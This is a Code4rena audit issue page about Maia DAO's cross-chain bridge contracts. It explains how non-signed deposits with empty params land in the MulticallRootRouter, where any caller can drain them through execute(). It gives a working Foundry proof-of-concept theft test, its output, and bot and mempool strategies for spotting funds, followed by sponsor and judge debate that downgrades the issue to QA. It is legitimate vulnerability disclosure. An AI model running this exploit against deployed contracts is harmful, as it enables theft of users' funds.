search

code-423n4 / 2023-09-maia-findings

25 stars 17 forks source link

Protocol allows non-signed deposits contrary to specs, and these deposits can be stolen #685

Open c4-submissions opened 1 year ago

c4-submissions commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L209-L228 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L507 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgentExecutor.sol#L96-L105 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/MulticallRootRouter.sol#L202-L211

Vulnerability details

There are basically 3 types of transactions in this protocol:

We will be focusing on deposit transactions at the moment. Signed deposit transactions contain the msg.sender parameter in the payload and use the msg.sender's virtual account as the recipient in the root environment. non-signed deposit transactions don't contain this info, and the recipient in the root is the corresponding MulticallRootRouter contract.

non-signed deposit transactions are not allowed in this protocol, and the MulticallRootRouter contract should always revert if a non-signed deposit is made according to the current implementation. This is also mentioned by the sponsor in the contest channel on Discord: quote

However, users can indeed deposit tokens to the root with a non-signed transaction and those funds will be transferred to the router contract, instead of the user's virtual account.

Let's examine the transaction flow in the non-signed callOutAndBridge() function in the BranchBridgeAgent.sol (We'll also mention the signed counterpart during this):
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L209C1-L228C6

    function callOutAndBridge(
        address payable _refundee,
-->     bytes calldata _params, //@audit this is the data to execute in the router. This can be empty
        DepositInput memory _dParams,
        GasParams calldata _gParams
    ) external payable override lock {
        //Cache Deposit Nonce
        uint32 _depositNonce = depositNonce;

        //Encode Data for cross-chain call.
        bytes memory payload = abi.encodePacked(
            bytes1(0x02), _depositNonce, _dParams.hToken, _dParams.token, _dParams.amount, _dParams.deposit, _params
        );

        //Create Deposit and Send Cross-Chain request
        _createDeposit(_depositNonce, _refundee, _dParams.hToken, _dParams.token, _dParams.amount, _dParams.deposit);

        //Perform Call
        _performCall(_refundee, payload, _gParams);
    }

This function takes some parameters, encodes them, creates a deposit and performs cross-chain action. The bytes calldata _params parameter is the calldata that will be performed in the root. It will be executed in MulticallRootRouter for this non-signed function. (It would be executed in VirtualAccount in the signed counterpart)

This parameter can be empty. Users are not obligated to provide data to this function. For example, in the signed counterpart, if the user only wants to deposit funds to their virtual account but does not want to execute any action on the root environment, they can leave it blank and this will deposit funds to the user's virtual account.

However, funds will be deposited to the router if the _params is empty in the non-signed deposit function. The transaction does not revert as intended in the first place. Here is why:

  1. callOutAndBridge() is called with empty _params in the branch bridge agent.

  2. payload is created with 0x02 flag and the cross-chain call is performed.

    file: BranchBridgeAgent.sol 
       bytes memory payload = abi.encodePacked(
            bytes1(0x02), _depositNonce, _dParams.hToken, _dParams.token, _dParams.amount, _dParams.deposit, _params
        );

  3. payload is received in the root bridge agent, with 0x02 flag.

  4. RootBridgeAgentExecutor will be called with executeWithDeposit.selector, and localRouterAddress

    file: RootBridgeAgent.sol
-->     } else if (_payload[0] == 0x02) {

            //... skipped for brevity
            // Flag 2 - RootBridgeAgentExecutor(bridgeAgentExecutorAddress).executeWithDeposit(localRouterAddress, _payload, _srcChainId)
            _execute(
                nonce,
                abi.encodeWithSelector(
-->                 RootBridgeAgentExecutor.executeWithDeposit.selector, localRouterAddress, _payload, srcChainId
                ),
                srcChainId
            );

  5. RootBridgeAgentExecutor will call the _bridgeIn() with the router address and transfer funds to the router.

  6. RootBridgeAgentExecutor will call the router contract to execute additional data if there is additional data.

    file: RootBridgeAgentExecutor.sol 
   function executeWithDeposit(address _router, bytes calldata _payload, uint16 _srcChainId)
        external
        payable
        onlyOwner
    {
        //...skipped for brevity
        // Bridge In Assets
-->     _bridgeIn(_router, dParams, _srcChainId); //@audit this transfers funds to the router.

        // Check if there is additional calldata in the payload
-->     if (_payload.length > PARAMS_TKN_SET_SIZE) {
            //Execute remote request
-->         IRouter(_router).executeDepositSingle{value: msg.value}( //@audit this is only called if there is additional data.
                _payload[PARAMS_TKN_SET_SIZE:], dParams, _srcChainId
            );
        }
    }

  7. MulticallRootRouter will always revert if it is called.

    file: MulticallRootRouter.sol
    function executeDepositSingle(bytes calldata, DepositParams calldata, uint16) external payable override {
        revert();
    }

The problem is that the RootBridgeAgentExecutor will never call the MulticallRootRouter if there is no additional data. The function that should always revert for security reasons is not called at all, and will not revert, and the funds will be deposited to the router contract even though it was a non-signed deposit function.

Alright, I know it's already quite a long submission but we are not done yet. It was only the beginning, and now, it's time to steal those funds from the router contract :)

Normally, router contracts are not expected to hold funds (But we already proved that funds can be deposited to routers above). They are just routers that take funds from one contract and move to another during the same transaction execution.

MutlicallRootRouter has 7 different execute functions of which three of them always revert when called: executeResponse(), executeDepositSingle(), executeDepositMultiple(). The other 4 functions implemented and don't revert are:

All of these functions will call _approveAndCallOut or _approveMultipleAndCallOut, and these functions will transfer funds from the root environment to branches. You can see that three of the 4 functions above are signed functions. What is the transaction flow when these are called?

In these three signed functions, the funds are withdrawn from the user's virtual account to the router and then sent to the rootPort.
The fund flow is: User's virtual account -> router -> root port

file: MulticallRootRouter.sol
    function executeSigned(bytes calldata encodedData, address userAccount, uint16)
        external
        payable
        override
        lock
        requiresExecutor
    {
        /// Skipped for brevity            

        } else if (funcId == 0x02) {
            // Decode Params
            (Call[] memory calls, OutputParams memory outputParams, uint16 dstChainId, GasParams memory gasParams) =
                abi.decode(_decode(encodedData[1:]), (Call[], OutputParams, uint16, GasParams));

            // Make requested calls
            IVirtualAccount(userAccount).call(calls);

            // Withdraw assets from Virtual Account
-->         IVirtualAccount(userAccount).withdrawERC20(outputParams.outputToken, outputParams.amountOut); //@audit funds are taken from the user's account

            // Bridge Out assets
-->         _approveAndCallOut( //@audit Funds will be sent to the root port during this transaction when bridging out.
                IVirtualAccount(userAccount).userAddress(),
                outputParams.recipient,
                outputParams.outputToken,
                outputParams.amountOut,
                outputParams.depositOut,
                dstChainId,
                gasParams
            );

           // Skipped for brevity

All the time when a signed function is triggered in this router, funds are taken from the user's virtual account and transferred to the root port during bridge out.

However, this is not the case when the execute() function is called. This non-signed execute() function is triggered when the call is made without deposit (You remember the 3 function types we mentioned above in the beginning, right?). This execute() function does not take funds from any user or any virtual account, funds are directly transferred from the router to rootPort
The fund flow here is: router -> root port

Let's check the execute() function:
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/MulticallRootRouter.sol#L137C1-L200C6

file: MulticallRootRouter.sol
    function execute(bytes calldata encodedData, uint16) external payable override lock requiresExecutor {
        // Parse funcId
        bytes1 funcId = encodedData[0];

        //------- Skipped for brevity --------------
            /// FUNC ID: 2 (multicallSingleOutput)
        } else if (funcId == 0x02) {
            // Decode Params
            (
                IMulticall.Call[] memory callData,
                OutputParams memory outputParams,
                uint16 dstChainId,
                GasParams memory gasParams
            ) = abi.decode(_decode(encodedData[1:]), (IMulticall.Call[], OutputParams, uint16, GasParams));

            // Perform Calls
            _multicall(callData);

            // Bridge Out assets
            _approveAndCallOut( //@audit this is called with user input without removing funds from the user. Funds are directly sent from the router
                outputParams.recipient,
                outputParams.recipient,
                outputParams.outputToken,
                outputParams.amountOut,
                outputParams.depositOut,
                dstChainId,
                gasParams
            );

       // ---------------- Skipped for brevity --------------

As you can see above this function also calls the _approveAndCallOut to bridge funds out, and all the outputParams parameters are user-provided. A malicious user can transfer all the funds from the router.

This may seem innocent with the assumption that the routers will never store funds. But as we mentioned above, this is not true and routers can have deposited funds, and anyone can steal them by triggering the execute() function. An attacker can trigger this function by calling the BranchBridgeAgent::callOut() function without deposit and with correct calldata. Down below, we provide a coded PoC with attack parameters that proves everything we explained above.

Because of the root environment is Arbitrum, attackers can track if they can steal funds in two ways:

  1. They can create a bot and regularly check the balance of the MulticallRootRouter in the root chain, and initiate the attack when this contract holds funds

  2. They can watch the source chains with mempool, and initiate the attack if they see a non-signed deposit function called with empty _params.

Impact

Proof of Concept

Coded PoC

You can use the protocol's own test setup to prove this issue.
- Copy and paste the code snippet below to the RootTest.t.sol test file.
- Run it with forge test --match-test testCallOutWithDeposit_nonSigned_withEmptyData_and_StealFromRouter

   function testCallOutWithDeposit_nonSigned_withEmptyData_and_StealFromRouter() public {
        // Set up
        testAddLocalTokenArbitrum();

//--------------------------------FIRST PART: USER DEPOSITING TO THE ROOT ROUTER WITH EMPTY DATA----------------------------------------------
        // Prepare data
        address outputToken;
        uint256 amountOut;
        uint256 depositOut;
        bytes memory packedData;

        // Get some gas.
        hevm.deal(address(this), 1 ether);

        // Mint Underlying Token.
        arbitrumMockToken.mint(address(this), 100 ether);

        // Approve spend by router
        arbitrumMockToken.approve(address(arbitrumPort), 100 ether);

        // Prepare deposit info
        DepositInput memory depositInput = DepositInput({
            hToken: address(newArbitrumAssetGlobalAddress),
            token: address(arbitrumMockToken),
            amount: 100 ether,
            deposit: 100 ether
        });

        // Call non-signed deposit function
        // packedData is empty
        arbitrumMulticallBridgeAgent.callOutAndBridge{value: 1 ether}(
            payable(address(this)), packedData, depositInput, GasParams(0.5 ether, 0.5 ether)
        );

        // Test If Deposit was successful
        testCreateDepositSingle(
            arbitrumMulticallBridgeAgent,
            uint32(1),
            address(this),
            address(newArbitrumAssetGlobalAddress),
            address(arbitrumMockToken),
            100 ether,
            100 ether,
            GasParams(0.5 ether, 0.5 ether)
        );

        // Check if the transaction executed with empty data. 
        // User balance of underlying token in the branch is 0. Branch port balance is 100. Funds deposited to the branch port.
        console2.log("User Balance:", MockERC20(arbitrumMockToken).balanceOf(address(this)));
        assertEq(MockERC20(arbitrumMockToken).balanceOf(address(this)), 0);
        assertEq(MockERC20(arbitrumMockToken).balanceOf(address(arbitrumPort)), 100 ether);

        // Assets will be transferred to the rootRouter in the root environment even though it is a non-signed function.
        // MulticallRootRouter balance of the global token in the root is 100.
        address rootRouter = multicallBridgeAgent.localRouterAddress();
        console2.log("Root Router Balance:", MockERC20(newArbitrumAssetGlobalAddress).balanceOf(rootRouter));
        assertEq(MockERC20(newArbitrumAssetGlobalAddress).balanceOf(rootRouter), 100 ether);

//-----------------------------------SECOND PART: ATTACKER STEALS TOKENS FROM THE ROOT ROUTER----------------------------------

        address attacker = address(bytes20(bytes32("attacker")));
        // prepare data. Aim is to call "execute" function in the MulticallRootRouter with flag 0x02.
        {
            outputToken = newArbitrumAssetGlobalAddress;
            amountOut = 100 ether;
            depositOut = 0;
            Multicall2.Call memory call; // No need to call omniChain dApp in here. It is empty data.

            // Output Params -> recipient is attacker
            OutputParams memory outputParams = OutputParams(attacker, outputToken, amountOut, depositOut);

            //dstChainId
            uint16 dstChainId = rootChainId;

            // RLP Encode Calldata - This will be the data that will be executed in the MulticallRootRouter "execute"
            bytes memory data = abi.encode(call, outputParams, dstChainId, GasParams(0.5 ether, 0.5 ether));

            // Pack FuncId - 0x02 will be "multicallSingleOutput" in the MulticallRootRouter "execute" function
            packedData = abi.encodePacked(bytes1(0x02), data);
        }

        // Give some gas to the attacker
        hevm.deal(attacker, 1 ether);

        uint256 rootRouterBalanceBefore = MockERC20(newArbitrumAssetGlobalAddress).balanceOf(rootRouter);
        uint256 attackerBalanceBefore = MockERC20(newArbitrumAssetGlobalAddress).balanceOf(attacker);

        // Attacker will start attack by calling "callOut()" (no deposit) -> It will trigger "execute" in MulticallRootRouter with attacker provided outputParams
        hevm.startPrank(attacker);
        arbitrumMulticallBridgeAgent.callOut{value: 1 ether}(
            payable(attacker), packedData, GasParams(0.5 ether, 0.5 ether)
        );
        hevm.stopPrank();

        uint256 rootRouterBalanceAfter = MockERC20(newArbitrumAssetGlobalAddress).balanceOf(rootRouter);
        uint256 attackerBalanceAfter = MockERC20(newArbitrumAssetGlobalAddress).balanceOf(attacker);

        // Root Router balance will be 0 in the root environment and the tokens will be sent to the attacker in the branch.
        console2.log("Root Router Balance Before: ", rootRouterBalanceBefore);        
        console2.log("Attacker Balance Before:", attackerBalanceBefore);
        console2.log("Root Router Balance After: ", rootRouterBalanceAfter);        
        console2.log("Attacker Balance After:", attackerBalanceAfter);

        assertEq(rootRouterBalanceBefore, 100 ether);
        assertEq(attackerBalanceBefore, 0);
        assertEq(rootRouterBalanceAfter, 0);
        assertEq(attackerBalanceAfter, 100 ether);
    }

Here are the test results:

Running 1 test for test/ulysses-omnichain/RootTest.t.sol:RootTest
[PASS] testCallOutWithDeposit_nonSigned_withEmptyData_and_StealFromRouter() (gas: 5800893)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 38.74ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manuel review, Foundry

Recommended Mitigation Steps

There are a few things we would like to recommend. The first one is for preventing non-signed deposits.

Calling these deposit functions with empty _params data is allowed. This is absolutely okay for signed deposit functions and should be allowed because it will transfer funds to the user's virtual account if they don't want to execute anything in the destination chain.
However, calling non-signed deposit functions with empty _params should not be allowed since there is no recipient encoded in these functions and empty _params data will cause a loss of funds for the user.

In terms of preventing stealing from the router, we can recommend not bridging funds out with the simple "execute()" function. Bridging out should only be done with signedExecute() or other signed functions.

Assessed type

Invalid Validation

c4-pre-sort commented 1 year ago

0xA5DF marked the issue as primary issue

c4-pre-sort commented 1 year ago

0xA5DF marked the issue as sufficient quality report

0xA5DF commented 1 year ago

Leaving open for sponsor to review this

c4-sponsor commented 1 year ago

0xBugsy (sponsor) confirmed

0xBugsy commented 1 year ago

Since this functions are essential to the system utility we won't remove them but we will add the no calldata execution flow for example:

 else {
            //Execute remote request
            IRouter(_router).executeDepositMultiple{value: msg.value}("", dParams, _srcChainId);
        }
alcueca commented 1 year ago

As I understand it:

The code is wrong in not following the specifications, but the users are also wrong in not following instructions. Only the funds from offending users are at risk, and the outcome is not surprising. There are no funds at risk for users that make no mistakes (using the UI or simulating their transactions, in other words), and functionality is not impacted.

Therefore, this is QA

alcueca commented 1 year ago

Screenshotting duplicates in case my judging is reverted:

image image
c4-judge commented 1 year ago

alcueca changed the severity to QA (Quality Assurance)

c4-judge commented 1 year ago

alcueca marked the issue as grade-a

osmanozdemir1 commented 1 year ago

Hi @alcueca,

As my understanding, users are not explicitly discouraged to perform non-signed deposits. I couldn’t find a suggestion in the docs like “Users should not call non-signed deposit functions”. Only thing I could find (in discord) was “We didn't implement router functions to allow unsigned deposits...” and to me it sounds like “Users can’t deposit even if they try to perform a non-signed deposit because we implemented these functions in a way that it always reverts.” Therefore I do believe this is more like a lack of protection rather than a user mistake, and would like to hear your opinions.

There is also another thing I would like to mention. This is not important if the issue stays as a QA, but if it gets validated as medium, I think the issue #898 and its duplicates should be considered as partial-50 as they only explain the issue up until sending funds to the router but don’t mention the second part, which is stealing from the router.

Thanks,

stalinMacias commented 1 year ago

Hey @alcueca

I'd like to add to what @osmanozdemir1 has already mentioned, apart from all the points he already brought up to the table, there is another group of issues that was marked as a duplicate of this one, the ones about ETH stuck if 0 calldata was passed, from my perspective, that is a separate issue, since to make deposits it is not required to pass ETH (the issue described in this report), and the fact that a user sends ETH with 0 calldata, that looks to me like a self wrecking behavior, thus, I do agree those ones should be classified as QAs, but they should not be a duplicate of this report, all of them looks to me like are a different issue that's a QA

Thanks for reading me, hope my comments help to get to a resolution for this issue.

alcueca commented 1 year ago

Look at this function signature:

    function callOutAndBridge(
        address payable _refundee,
        bytes calldata _params,
        DepositInput memory _dParams,
        GasParams calldata _gParams
    )

How is a user expected to call that?

Not all contracts are made to accept raw calls from end users. Some contracts are designed to be interacted with only by frontend or smart contract developers, which will be expected to be more careful with what they do. In this case, the smart contracts are full of footguns, and make zero effort to be usable by end users. To me “We didn't implement router functions to allow unsigned deposits...” sounds like "if you try doing that, something unexpected might happen".